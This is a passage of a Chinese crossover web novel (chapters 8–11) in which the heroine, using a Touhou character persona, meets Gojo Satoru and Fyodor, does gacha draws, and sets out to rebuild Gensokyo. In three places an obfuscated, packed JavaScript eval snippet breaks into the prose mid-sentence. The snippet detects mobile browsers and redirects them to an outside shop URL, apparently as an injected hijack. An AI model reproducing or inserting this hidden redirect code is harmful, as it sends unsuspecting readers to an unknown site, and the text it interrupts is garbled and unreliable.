五条悟本来就生得一副好皮囊，这谁都无法否定，不管对方是在假笑、普通的笑还是坏笑，都很有魅力。但是他从来没见过对方露出那种笑容，像是想通了什么、放下了什么、从什么束缚中挣脱出来一样，那种耀眼的笑容。 所以他虽然没有理解那句话的含义，但也同时明白了自己无法让对方回心转意的事实。 五条悟一如既往是个行动派，做完他的提前告知后，人就失去了踪影。夏油杰没有对任何人提起这件事，不过他知道五条悟对家入硝子也说了同样的话。 后来夜蛾正道面色凝重地告知他们“五条悟对天元出手，被上层逐出咒术界”的时候，两人都没有特别的反应，只是像往常一样，漠然地看着不同的方向。就算被质问“你们是不是早就知道了？”，也没有给出回答。 那之后他们时不时会看到关于五条悟的消息，哪怕被逐出咒术界、舍弃了五条家，对方照样活得风生水起。因为五条悟很强，知晓“这边的世界”的人都知晓他的强大，不寻求咒术界而是直接向五条悟寻求帮助的人也不在少数。 这也导致上层对五条悟的怨念更深，至今将他视为眼中钉。 没想到这样那样过了十年，在夏油杰都快忘记那句话的时候，五条悟口中的妖怪却突然出现在了他学生的面前。 ——事到如今，他终于有机会弄清楚那句话到底是什么意思了吗？ 8. 第 8 章 在高专几人讨论关于爱丽丝和五条悟的事情的时候，被讨论的这两人已经降落到了一栋屋子前。 五条悟放下搭在爱丽丝肩上的手，故作正经：“终点站到啦，这位客人，对五条特快的评价如何？” 爱丽丝诚实地给出了自己的感想：“太快了，没感觉。” 不知道五条悟和射命丸文比起来谁的速度更快，虽然他们的移动方式不一样，但从结论而言都是高速移动。等她抽到文文的马甲之后，也许可以试着比一下。如果是在地上直线距离移动，五条悟和魂魄妖梦应该差不多。 丝毫不清楚爱丽丝心里在想些什么，五条悟在一旁插科打诨：“真的假的，男人的自尊心受到了伤害～” 当然不管从表情还是从语气，都看不出来他有受到伤害。 “你怎么少了两个人偶？”五条悟歪头，原本爱丽丝周围是有三个隐身人偶，但现在只剩下一个，之前用来攻击他的那两个消失不见了。 心下感慨五条悟的眼睛真的作弊，爱丽丝回答：“用魔法收起来了。” 其实是让系统把那两个人偶回收了，但又不能直接这么说。系统四舍五入就是她的魔法，所以她这样回答也不算说谎。 至于为什么要把人偶收回去，委婉一点说是节省MP，直白一点说就是她懒。过高速移动可能会损害人偶的身体，为了减少这种不必要的损伤，需要爱丽丝额外用魔力保护人偶。 现在单留一个上海，就是她坚持人偶使人设的最后倔强。 不过五条悟的话倒是提醒了她，反正隐不隐形对面都能看到，也就没必要继续浪费魔力维持隐形魔法，这样想的爱丽丝让上海显出身形。 清晰地目睹人偶周围的魔力流动，五条悟嘟着嘴感叹：“魔法真便利。” “这里是？”爱丽丝将注意力转移到眼前的屋子上。 不会是五条悟现在的家吧？虽然门口好像确实是“五条”的牌子，但会有人把初次见面的妖怪往自己家带吗？只是对方是那个五条悟…… “我家哦。”五条悟轻飘飘给出答案。 这大概就是身为最强的余裕。 五条悟掏出钥匙打开门，像是察觉到什么一样“啊”了一声，没有邀请爱丽丝进门，反倒转头对她说：“你站在那里别动，我先去丢个垃圾。” 他这么说的时候，爱丽丝察觉他身上的咒力波动了一下。要不是因为对方是五条悟，这操作肯定会让爱丽丝怀疑自己是不是正在被找茬。 五条悟的身影很快从视线里消失，略感无聊的爱丽丝正想着要不要把系统cue出来看看目前为止的成果，就听到二楼传出声响。 “五条君，用完人就丢，还把人说成是垃圾，会不会有些过分？”是其他人的声音。 原来五条悟口中的垃圾不是指通常意义上的垃圾。用完就丢是什么意思？而且这个声音好耳熟，这不是石田彰的声音吗…… “不经过主人同意就擅自闯进房间的老鼠在说什么呢？”五条悟毫不犹豫呛了回去。 老鼠。 昨天才刚遇到太宰治，对这个词不可能不敏感。 这个世界有文野的角色＋CV石田彰＋老鼠＝？ 不，往好的方面想想，老鼠可能只是个比喻，可能不是她想的那个老鼠，而是和魔理沙也被叫作老鼠一个概念。毕竟既然太宰治还在黑手党工作，那个人年纪也没多大，应该还在俄罗斯发展势力才对，怎么可能跑到日本东京跟五条悟混在一起。 “明明五条君也喜欢不请自来……”那个人先随口抱怨了一下，语气不轻不重，很好地停在不会让人反感的范围内，“我也很在意你一直想找的妖怪嘛。” 产生联想之后，这说话的口气也越听越像她想的那个人。不会真的是费奥多尔吧……到底是发生了什么，才会让这两个人混到一起啊？？亏她之前还在猜费奥多尔会不会遇上夏油杰，转头就发现这人虽然没遇到理想和自己完全相反的夏油杰，却遇上了五条悟。 “我就待在二楼，不会打扰你们的。” 说起来，她现在这种状态算是偷听吗？但听力好又不能怪她，是五条悟让她站在这里的。况且她不觉得楼上那两个人会猜不到妖怪的感官比常人更敏锐，说不定是在故意演她。 “少跟我扯皮，我们今天又聊不了什么，给我带着你又装上的这些乱七八糟的小东西回去。” 嘶……乱七八糟的小东西是指窃听器之类的吗？怪不得明明人在二楼还能知道自己被说成垃圾。听上去这好像不是第一次搞这种名堂，五条悟这都没把那个人打死，难道关系好到这都能容忍了？ 情报量不够，仅凭几句对话想分析现状对爱丽丝而言还是太难了。而且说实话，她其实不是很想管这些聪明人之间的弯弯绕绕。 “没办法，那我今天就撤退吧。”大概是知道再不走就要被暴力驱逐了，那个人很识相地妥协了。 “好走～”伴随着这句略显愉快的送客声，爱丽丝听到了窗户打开的声音，然后是重物落下的声音。 ……虽然二楼不怎么高，下面也有缓冲的东西，但居然直接把人给丢下来，只能说不愧是五条悟。只是好死不死，偏偏把那个人扔到她面前这点让她有些无法接受。 “你好呀。”即使被五条悟从楼上丢下来，神色也一如既往，可疑的男人带着可疑的微笑友好地朝爱丽丝打了个招呼。 爱丽丝低头，面色冷淡的和那个人对上了视线。 一点都不好，这下她不是没法骗自己刚刚的想法只是多想了吗。 费奥多尔，你身为一个好心的俄罗斯人，不好好待在俄罗斯，跑到日本来做什么？就算退一万步，你不去横滨策划搞事，跑到东京来做什么？你可是文野出名的剧本组，能不能在咒术的片场自重一点？ 搞啥啦，她其实玩的不是马甲扮演，而是收集游戏？昨天遇到太宰治，今天碰上费奥多尔，明天再和江户川乱步见个面，然后就能得到“偶遇剧本组”的成就？ “爱丽丝——”这好像还是第一次听到五条悟叫自己的名字，爱丽丝收回自己因为费奥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053133|149065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多尔放飞的思维，抬头。 五条悟从窗户口探出身子，笑眯眯地朝爱丽丝招手：“离那家伙远点，快进来～” 难道是为了提醒自己要离费奥多尔远点才特意把人丢到她面前？不，比起这个猜测，爱丽丝更倾向于五条悟只是选了个离他们最近的窗子。 当然远离肯定是要远离的。爱丽丝从善如流地进入屋子，将费奥多尔那充满兴致的目光隔在门后。 被果断无视掉的费奥多尔只能遗憾地收回视线。他起身整理了自己的衣物，捡起被五条悟一起打包丢出来的小道具，迈着愉快的步伐走出院子。在他前进的方向上，有辆小车正停在那里。 * “累了。”一回到隙间之里，白银就直接退出马甲，她像之前那样随便找了间房，直挺挺地倒在床上。 和五条悟的对话结束得很快。正如他对费奥多尔说的那样，他们根本聊不了什么，因为五条悟拒绝回答为什么他会知道幻想乡的问题。 得不到想要的答案，白银自然不会让交流的时间拖得太长。 倒是五条悟好像很了解她这边情况的样子，知道聊不下去，就交给了她一个东西。而白银就是在得到这个东西之后，选择直接回到隙间之里的。 在这里不用保持演技，可以静下心来思考问题。 白银视线的前方，一颗小球正飘在空中。红白两色、从正面看过去是八卦图案的那颗球体，怎么看都是灵梦身边的阴阳玉。 在交给她之前，还特意用看上去很复杂的咒术藏起来，应该是不想让别人、很有可能就是费奥多尔，知道这个的存在。毫不怀疑五条悟就是想把这个交给她，才把她带到家里，然后把费奥多尔赶走。 “灵梦的阴阳玉诶——”白银伸手轻轻碰了一下，发觉之前用爱丽丝马甲触碰时产生的刺痛感消失了。难道阴阳玉只针对妖怪？ “系统。”白银把系统叫了出来。 【确实是系统出品。】很快系统就给出了答案，【不过我这里没有相关的记录。】 到底是怎么回事？ 五条悟手里有出自系统的道具，可她明明昨天刚到这个世界，刚刚才第一次和五条悟接触，也根本没抽到灵梦的马甲。 ——难道是那个老生常谈的，时间线又出问题了？未来的她用灵梦的马甲跑到了过去，然后出于什么理由把这颗阴阳玉交给五条悟保管？ 该不会五条悟现在的状态还和自己有什么关系吧？哎呀，这想法有点自恋诶，忘掉忘掉。 不过，既然这颗阴阳玉是出自系统，那就说明对方应该是从自己这里得知了幻想乡的情况。至少目前看上去，这世界没有其他幻想乡的存在。 那就代表着，白银可以继续浪，没有谁会觉得她的存在有什么问题，也不用担心自己的演技过于差劲。毕竟像爱丽丝这种设定算比较充实的还无所谓，要是抽到在原作根本没什么戏份的角色，她都不知道要怎么演。 ——嗯？好像有点奇怪？ 白银觉得自己陷入了某种误区。 9. 第 9 章 自己想做的事究竟是什么？ 最初她只是凭着兴趣许下愿望跑到这边，到目前为止都只是走一步看一步。接触到喜爱的人物固然是很开心的，但她好像没有什么明确的目标。攒好了抽卡点数，抽到了马甲，而在那之后呢？ 说到底，如果只是想和自己喜欢的角色相处，也没必要抽那么多马甲，有几个能用的不就够了？ 那自己为什么还要执着于抽卡，还想扮演其他角色？是因为她是个图鉴党，玩游戏总是喜欢集齐所有角色？ 不，应该不是那样，自己应该是有想做的事才对。 白银喜欢东方的理由，是因为它有着独特的魅力和强大的包容性。东方原作里的设定只有寥寥几语，因此显得它充满未知、充满神秘，这一点吸引了无数的爱好者。 每一个创作者的手里的幻想乡都有着不同的设定。但不管是什么样的幻想乡，都会有人接受。大家发挥着各自的想象力，用爱填充其中的空白，将幻想乡涂上自己所喜爱的色彩。 每个人心中的幻想乡都是独一无二的。 大家喜爱、珍惜着充满包容力的东方，白银喜欢这样的氛围，自由、无拘无束、充斥着情感。 所以白银才会下意识地想要更多的马甲，因为她也想要将心中的幻想乡用自己的方式描绘出来，也想要像其他人那样，创建一个被人喜爱的、属于自己的幻想乡。 白银静下心，终于想明白现在的自己到底想做什么了。 ——将心中那个幻想乡展现出来。 没错，根本不用纠结什么演得像不像的问题，只需要随心所欲，把她内心对人物们的理解原原本本地展示出来就够了。 原本的设定不够充实？那就让它变得充实。人物之间的关系不够明确？那就让它变得明确。 “系统！我悟了！”觉得自己想通一切的白银直接从床上弹射起身，然后额头就直接撞到还漂浮着的阴阳玉上。 【你悟什么了你就悟了。】如果系统能做出表情，那它此时一定会是一脸嫌弃。 白银一边吃痛地揉着额头，一边跟系统分享了自己刚才的想法以及愉快的心情。 她说着的时候，系统就默默地听，在她说完之后，系统默默地弹出一个面板给她。 【隐藏任务：重建幻想乡。进度：0%】 “咦……”白银瞪大眼睛看着屏幕，声音有些颤抖，“统，莫、莫非……” 【嗯，等进度达到百分百，幻想乡就能在这个世界成立。】系统肯定了她的猜测。 也就是说白银不仅能演示出她心中的幻想乡，还能实实在在地创建一个真正的幻想乡。 “系统，你是神吗？！不，你就是神！”如果系统有实体，白银可能已经当场上手表演一个亲亲抱抱举高高了。 但她又很快反应过来：“但是，就算是幻想乡真的存在，里面的人全是我自己精分好像也没啥意义啊……” 【当然已经安排好解决方案了。】优秀的系统不存在死角，这么回答的它在白银眼中光芒万丈，【你打开角色面板看看。】 白银听话地进行了操作，很快就发现系统想让她看到东西。与之前不同，在角□□面的左下角多出了一个竖着的能量条。她切换角色，发现只有爱丽丝的能量条不是完全空着的。 “这是？”即使心下有了推测，白银还是问了一句。 【等这个能量条完全填满，对应的角色就能脱离你独立存在了。】系统给出的答案与她想象的相差不多，【你看，不是经常有那种创作的角色拥有了实体之类的题材吗，就是那个啦。】 “哦，”这种题材白银确实也接触过，挺好理解的，“那就是说独立出去之后我就操作不了了嘛。” 【没错，但也不用担心，就算能量条满了也不代表角色就会独立出来。】 “原来如此，也就是说能量套充满是角色独自存在的必要不充分条件。”白银摸着下巴分析，她逐渐理解了一切，“我可以等到幻想乡重建完成之后，再一口气让她们独立出来……” 简直就像是创世神一样，虽然有点夸张。 【不过你应该明白，想要让幻想乡存在，作为基盘的世界就不能出问题。】系统趁机暗示。 “你在说什么呢，我这么善良的人怎么可能眼睁睁看着世界毁灭？我肯定会想办法处理的！”白银假装昨天说懒得管世界会怎样的人不是自己，义正辞严地发出宣言。 “但是幻想乡还需要普通人类的吧？那边的问题要怎么解决？” 敬畏着妖怪的普通人类，以吓唬人类为己任的妖怪，以及负责调节两者平衡的存在，有了这些才能算是完整的幻想乡。 【你问题好多哦。】系统吐槽，【我会想办法解决的啦，谁让我是你的系统呢。倒是你，比起思考那么后面的事，不如先想想怎么把八云紫和博丽灵梦弄出来。】 白银一想也是，现在重建度还是个可怜的蛋，那种事放在之后思考更合适。 幻想乡想要成立，必不可少的就是博丽大结界，而这个结界的创造者就是身为隙间妖怪的八云紫。同时对于幻想乡来说，博丽的巫女也是相当重要的人物。要是一直没有这两个人物，大概重建度就会一直停在起点。 这种问题还是很好解决的。白银握拳，双眼闪烁着光芒：“我们刚才不是攒了抽卡点数吗，事不宜迟，抽卡冲鸭！” 【喔！】系统兴奋地回了一声，又到了它最爱的抽卡环节。 “刚刚攒了多少？”白银把画面切换到抽卡界面，看着上面的数字进行了一下简单的换算，发现目前的资源够抽七个十连。 明明今天在外面并没有待太久，甚至一上午都没有耗过去，居然就攒了这么多，不知道该说是自己运气好，还是该感叹五条天花板的威力竟恐怖如斯。 据系统统计，自从和五条悟拉近距离之后，特别是有肢体接触的那段时间，抽卡点数涨得那叫一个飞快。 如果是独自一人的白银是白嫖党，和禅院真希他们待在一起的白银是微氪党，那和五条悟待在一起的白银就是氪佬，根本不需要什么精打细算，完全不用担心抽卡资源不够，总之抽就完事了。 要是能一直和五条悟一起行动，那一定挺开心的，不仅可以不停抽抽抽，还可以近距离欣赏帅哥。 “统你要来两发吗？”白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053134|149065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 银发誓自己这么问只想让系统过过瘾，绝不是想要蹭系统的欧气。 【想！】上次抽卡尝到甜头的系统没有拒绝。 “好哦，替我抽个灵梦出来，我相信你可以的！” 于是系统在白银的加油助威声（？）中按下了十连的按钮。 【获得角色娜兹玲、小恶魔，获得角色碎片红美铃、梅蒂欣·梅兰可莉、纯狐、八云紫、哆来咪·苏伊特、灵乌路空、芙兰朵露·斯卡雷特、小野冢小町。】 “抽到了紫的碎片，好耶！”白银欢呼，正所谓积少成多，虽然不知道八云紫需要多少碎片才能兑换，但总归是有一个算一个。 然后系统点下了第二个十连。 【获得角色稗田阿求×2，角色碎片梅蒂欣·梅兰可莉、西行寺幽幽子×2、神绮、风见幽香、因幡天为、丰聪耳神子、哆来咪·苏伊特。】 “……重复了？”白银看着画面上的抽卡结果，不敢相信自己的眼睛，她甚至没空震惊池子里居然还有神绮。 【……重复了？】就连系统此时都有些懵逼。 谁都知道这个角色马甲池子里的水有多深，一个十连里抽到重复角色的概率有多小，可比之前在人物卡池里一次抽出两张符卡要难多了。 白银紧紧盯着屏幕，确认不是自己产生了幻觉，梦游似地问：“角色重复了该怎么办？” 【会分解成空白角色碎片，可以转换成你指定的角色碎片。】系统回答，它根本没想到会出现一次十连出俩重复角色的情况。本以为就连抽到重复角色也应该是好久之后的事，进行相关说明也应该不用着急。【稗田阿求的话，能分解出5个空白碎片。】 那岂不是赚翻了。白银感觉自己现在就像被天上突然掉吓的馅饼砸到一样，脑袋晕乎乎的。 “我觉得你的欧气快用光了，”白银晃了晃脑袋，控制自己别发出傻笑，“让我来抽两发垫垫刀。” 系统觉得她说得很有道理，没有反对。 白银手指晃悠悠地靠近屏幕。 【获得角色爱丽丝·玛格特罗伊德、上白泽慧音、玛艾露贝莉·赫恩，角色碎片灵乌路空、八云蓝、茨木华扇、比那名居天子、秦心×2、丰聪耳神子。】 白银：……？？ 系统：……？？？ “统，我做梦梦到我一下子抽到三个重复角色。”白银看着眼前的界面，神色恍惚。 【真巧啊，我也做了同样的梦。】系统认真地回答，即使它根本不会做梦。 白银：…… 系统：…… “……骗人的吧？！”白银发自内心呐喊，“我没记错的话我第一次抽卡也是这三个角色吧？！这种事是有可能发生的吗？？诶，什么，我和这三个马甲锁了？还是说我其实挺欧的？” 但刚好抽到和第一次十连时完全相同的三个角色，系统觉得这已经不是欧不欧非不非的问题了。有点可怕。 “我觉得我今天就能届到灵梦！”白银不像系统那样想东想西，她认为现在的自己一定正在被幻想乡之神眷顾着，一定能欧气爆发抽出想要的角色，“我们趁着这个势头把剩下的全部抽完吧！” 10. 第 10 章 “……没有届到。”白银软趴趴地倒在床上抱怨。要是采用动画里夸张一点的表现手法，那她脸上此时一定挂着两行宽面条泪。 一上头就把剩下的点数也全部用光了。然而事实证明能出货的预感只是一如既往的错觉，灵梦也好魔理沙也好，统统没有抽出来。 虽然新角色抽到了好几个，空白碎片也攒了不少。 总结下来，刚刚新抽到的马甲有娜兹玲、稗田阿求、大妖精、小恶魔、宇佐见莲子、宇佐见堇子、火焰猫燐和露娜萨·普莉兹姆利巴。 好消息是她凑齐了秘封组，且鉴于秘封组的身份在原作里就是外界人，系统附赠了外界的身份住所、他人的记忆等全套服务，相当于这世界原本就有这两个人。 这一点宇佐见堇子也是一样。然后因为堇子和莲子的姓氏相同，系统图方便，就把两个人设定成了姐妹。 知道这件事的白银只想吐槽。 本来按原设定来讲秘封组生活在未来的时代，说不定有宇佐见莲子是宇佐见堇子的后代的可能，结果现在因为秘封组是大学生，宇佐见堇子是高中生，反而莲子变成了堇子的姐姐。 怎么说，就，有点好笑。 不过先不论能使用超能力的宇佐见堇子，秘封组目前看来对白银重建幻想乡顺带拯救世界提供不了什么帮助，这两个马甲没有什么战斗力，白银也不希望让她们掺和到那些危险的事里去。 要是有什么身边和平点的重要人物就好了，不过她对此不抱太大希望，从目前看来，这世界处处都很危险。 重复角色转化成的空白碎片目前有81个，之所以能凑齐这么多，很大部分原因是白银抽到好几个娜兹玲，给她提供了大量碎片。 系统说，虽然娜兹玲看上去很弱，但她的地位比较特殊，毕竟是毗沙门天派遣出来的高阶妖怪，所以转化出的碎片比较多。能抽到好几个实属运气好，也不知道是不是因为之前碰到费奥多尔，今天比较走老鼠运。 但其实单个角色给的碎片最多的是爱丽丝，加之卡池里还有“神绮”这个马甲，白银不由得对此产生些许联想。虽然神绮估计挺难得到就是了，再怎么说也是“魔界之神”。 原本白银还想着既然有这么多碎片，干脆直接用碎片把灵梦兑换出来，结果系统却说博丽灵梦和雾雨魔理沙这两个角色都只能通过抽卡池才能入手，且目前的碎片数量不够兑换八云紫。 该说不愧是“万事开头难”吗，重建幻想乡这个任务完美地卡在了第一步的位置。 当然用碎片换其他角色的马甲也是可以的，不过白银认为没有那个必要，以现在的情况来看，没有哪个马甲是必不可少的，所以她最终决定把碎片屯起来。 她明白心急吃不了热豆腐的道理，因为抽卡点数比想象中要更容易收集的缘故，她的心里倒是挺有余裕。 接下来是关于马甲多开的问题，白银问：“系统，同时用几个马甲该怎么弄？” 她一没有精分的经历，二没有受过专业的训练，很担心自己不能像其他人那样做到同时操作多个马甲。她的目标略显宏伟，如果马甲只能一个一个填充，那效率可不是一般的低。 而且，之后多半会遇到需要几个马甲同时在场的情况，她必须早点练习才行。 【其实很简单。】系统指挥到，【你登上马甲后再选择其他的马甲，剩下的就交给我操作。】 于是白银又披上爱丽丝的马甲，然后随便点了一个其他马甲。 也没见系统做什么复杂的操作，只是突然有种什么东西从体内被分出去的感觉，白银轻微的晃了一下神，面前就多出一个人。 紫色头发、带着山茶花发饰的和服少女，正用略感新奇的目光看着自己——是她刚刚随便选的马甲，稗田阿求。 白银现在的感觉还蛮奇妙的，简直就像是世界上多了一个自己，就算对面什么都不说，她也能知道对面心里在想些什么。 体会了一下现在的感受，又回忆了一下至今看过的那些动画，白银觉得，多出来的马甲，大概类似于时崎狂三制造的分身。 本质上是同一个人，又有些细微的差别，但具体是什么情况无法用言语来好好形容。 系统说回收马甲的时候，白银被分出去的意识，简称分意识，就会回到白银这里，然后她就能直接接收那个马甲的记忆。 系统：这模式挺方便的吧，用过的人都说好，妈妈再也不用担心你不会精分了。 白银：也不用担心演着演着把自己的角色给搞混了，实乃良心系统。 白银安下心，把稗田阿求的马甲收了回去，顺带体验了一把突然多出一段记忆的实感。 不是她不想就这么直接马甲多开，只是稗田阿求这个角色，没有战斗力，身体还比较虚弱，不适合放到外界去闲逛。就连在隙间之里多呆一会都不行，因为这里没有食物。 对，系统虽然提供了住宿，但没有提供任务食物，水姑且还是有的，只是填不饱肚子。所以其实从昨天到现在她什么都没吃，之所以人还没事，纯粹是因为爱丽丝这个马甲可以不用进食。 原本食物问题能从系统商店里解决，如果她刚刚没有把点数给花光的话…… 白银捂脸。之前因为爱丽丝的马甲过于方便所以忽略了相关的问题，看来之后得保留一定数量的点数才行，不然败因是饿肚子什么的也太丢人了。 “那我现在能同时操作几个马甲？”将小小的失误先放在一边，白银询问系统。 【想开多少个都没问题，只要你回收的时候注意一点，别一下子把自己脑袋整坏了……】系统回答得很贴心，让人忍不住猜测它是不是见过类似的情形。 白银想了一下，觉得那场面有点好笑。 这问题还挺好解决，无非就是要避免一下接收过多的记忆，免得把自己脑子给烧坏了。除了不能同时回收多个马甲外，在把马甲放出去之后，还得记得定期回收一下才行。 “放到外面的其他马甲要是遇到危险，我能第一时间知道吗？”白银继续问。 毕竟真要放出去肯定不可能放到一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053135|149065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，要是马甲在不知道的时候出现什么损失她会心疼的。虽然，真有那种搞不定的情况，隙间之里也不是摆设。就算是最坏的情况，也可以重新从卡池里再抽一个出来…… 【我监控着呢，别担心。】对于万能的系统而言，这种事自然不在话下。 “那分意识遇到重要人物能攒点数吗？可以抽卡吗？”所谓广撒网多敛鱼嘛，一个五条悟就能给她提供这么多点数，再多来几个岂不是更爽。 【可以攒点数，也能从商城买东西，不过抽卡的话只能抽自己对应的卡池，角色池只有本体才有权限。】准确来说是只有本体这边的系统才有角色池，反正从结果上看都一样，系统也就没说得那么清楚，【一般情况下只会抽出自己的道具。】 至于为什么是一般情况，只能说懂的都懂。会歪掉的卡池就是这么充满不确定性，可能歪出神器，也可能歪出废品。 白银不由得感叹，系统虽然是个好系统，但就是在抽卡方面特别纠缠，唉。 “嗯……”大致搞清了马甲多开的状态，白银思考了一会，“把梅莉、莲子和堇子的马甲放出去吧。” 反正这三个马甲在外界不愁生活，只要不作死跑到什么危险的地方，应该不用她这边担心，点数的问题随缘就好。 “其他的话，把露娜萨也放出去。”在剩下的几个马甲之中选的话，果然露娜萨是最合适被先放出去的。 露娜萨·普莉兹姆利巴，种族是骚灵，灵的一种，因此普通的人看不见她。又因为是灵，没有生理需求，不需要担心生活方面的问题，比起其他几个马甲要方便得多。 当然等白银实现点数自由之后，其他的马甲就也可以放出去了。 系统依照白银的安排把几个马甲投放了出去。一开始意识分离的时候有些许不适，但很快白银就恢复了正常。 知道秘封俱乐部会被固定投放到外界的系统安排的家里，她只关心了一下另外那个马甲的情况：“露娜萨被放到哪了？” 【……大、大概是南极洲。】系统有些吞吞吐吐。 白银的脑海里浮现出自己站在一片冰天雪地里，面前有几只企鹅呆萌地走过的景象。 “这运气也太差了吧？”白银的语气微微颤抖。 是自己把运气耗光了吗？还是说露娜萨这个马甲不行？ 毕竟你看，她用爱丽丝马甲的时候，虽然也会落到奇怪的地方，但能碰到重要人物，总的来说运气是好的。但南极洲那种地方多半不能遇到什么重要人物，这难道就是忧郁的骚灵和注重幸运的魔法使之间的差距吗？ 所幸的是骚灵不会被严寒影响，不用担心身体出状况，实在是遭不住了还可以直接回隙间之里，再重新刷个出生点解决问题。 “我也该出发了。”让系统把放在一旁的阴阳玉收起来，白银站起身。 距离天黑还有好长的时间，她总不能把分意识派出去，自己却留在隙间之里摸鱼吧？白银决定这次一定要在外面待久一点，争取不要像前两次那样整得跟落荒而逃一样。 11. 第 11 章 这次隙间之里的出口在一条没人的小巷，周围没有什么奇怪的东西，看来系统有好好按照要求把出口随机到不会被人看到的地方。被禅院真希这类知道有异能存在的人目击到是无所谓，但她想尽量避开被普通人看到的情况。 爱丽丝听着小巷外的车流声和人声，在原地站了一会，发现没人走进这条小巷，才慢慢往外走去。 大街上人来人往，但没见到几个年轻人，大概是因为今天是工作日的缘故。 附近看上去不像是有重要人物的样子，于是爱丽丝将目光放到了不远处的一家便利店上。当然没钱的她不是想去买东西，只是打算收集一点基础的情报。虽然知道这世界大致有些什么东西，但更准确的信息还得靠自己判断。 爱丽丝进入便利店，在店员的欢迎声中找到自己的目标，朝那个地方走去。店里的人不多，正好方便她浏览那些杂志和报纸。她没期望从这些东西里找到什么重要的信息，只是想看看这个世界表面上对那些特殊能力有没有认知。 杂志和报纸都没有提及相关的内容，灵异刊也只是记载了一些常见的都市传说。看样子，这世界的普通人估计仍然不知道咒术师、诅咒、异能力者这些的存在。 那她避开普通人使用能力的方案果然没错，既然要拯救世界，她可不想反而制造混乱。 确认完自己想知道的东西之后，爱丽丝就把手上的杂志放回远处，在店员满是遗憾的注视中走出便利店。 接下来去哪呢？ 如果想知道异能力和诅咒那种比较偏向灵异的东西，倒是可以去找人打听打听有没有什么奇怪的传闻，这种行为也不违背她表面上的目的。 其实网络上应该能找到不少好东西，可惜她没有那种工具。 不过如果一上来就对人问“最近有什么奇怪的传闻吗”的话，多半会被人用奇怪的目光注视，所以她想先利用妖怪敏锐的感官，试试能不能从别人的聊天里听到些东西。 要是能混进学生的群体里，花上点时间，可能能听到不少有趣的消息。 大部分成年人对都市传说类的玩意嗤之以鼻，因为他们要么整天忙东忙西，不屑于关注这种没有价值的信息，要么对其中的危险心知肚明，为了自保选择视而不见。 但学生不一样。本来就是怀抱幻想的年龄，对“作死”最热衷的阶段。故事里常有的那种“不作死就不会死”的展开，都是基于青少年对未知的强烈好奇心，以及无知者无畏的精神。 甚至会有出于兴趣专门收集奇怪传闻的人，就算某些传闻只是空穴来风，他们也能津津乐道好几天。 可惜这个想法实施不了，一来离学生放学的时间还早，二来爱丽丝实在是太显眼了。就连现在走在街上，都能时不时感受到别人自以为隐蔽的目光。 没办法，只能多花点时间，去人流量多的地方听上一听了，总能听到点类似的传闻的。要知道，虽然忙的人很多，但闲的人也不少。 * “呀，美女你一个人站在这里，是在等人吗？”涉谷车站里，三个看上去就很不良的不良中学生正在向独自一人的爱丽丝搭话。 被搭讪的对象此时百无聊赖地靠在墙边，心思明显没放在这几个路人脸身上。 她用一下午的时间逛了不少地方，确实有点收获，听到了一些比较在意的消息。比如“最近老是出现奇怪的事故”，比如“听说报道出的死因其实和实际的死因不相同”，又比如“哪哪的高中生侦探又替警察解决了案件”。 大概能和系统介绍的一些设定联系到一起，不过具体怎么样她还不大清楚。 她琢磨着已经到了学生放学、大人下班的时间点，车站的人流量很大，于是就近选了一个车站，试图听到更多传闻，然后就被人缠上了。 “为什么不说话？啊，莫非是高冷系～？总不可能是语言不通吧～？” 这种情节其实也算是动画里的定番了，通常这种时候会让主角登场，表演一个英雄救美。可惜动画和现实终归是两码事，像现在，周围的人要么直接避开这块地方，要么装作没看见的样子。 真是个冷漠的社会。 “呐，反正你也很闲吧？不如和我们一起去哪玩玩？” 她确实挺闲的，也不是不能接受这个提议。 反正就算继续在这里纠缠下去，她也听不到想听的东西。但如果跟着这几个人走，说不定能从他们嘴里打听到点什么，甚至还可以蹭吃蹭喝。作为回报，就让她顺便教导一下这些人，为什么长辈们总说不要被外表欺骗。 爱丽丝抬眼看向面前这几个学生。没人穿着校服，可能是担心被人认出自己是哪所学校的。 ……虽然就算穿了校服，她也认不出就是了。 见到爱丽丝有反应，大概是觉得有戏，其中一个人有些兴奋地乘胜追击：“我们知道不少好玩的地方哦，保证让你……” “抱歉，”突然有个声音横插进来，打断了那人的发言，声音的主人一边说着一边拉住爱丽丝的手腕，“让你久等了。” 没给几个不良反应的时间，他立马拉着爱丽丝走人，爱丽丝没有反抗，顺着力道就离开了原地。 还不知道自己刚从变成临时饭票的命运里逃了出来，有个人直接发出不满的声音：“哈？！” “那小子怎么回事，很嚣张嘛？！”一副马上就要追上来揍人的口吻。 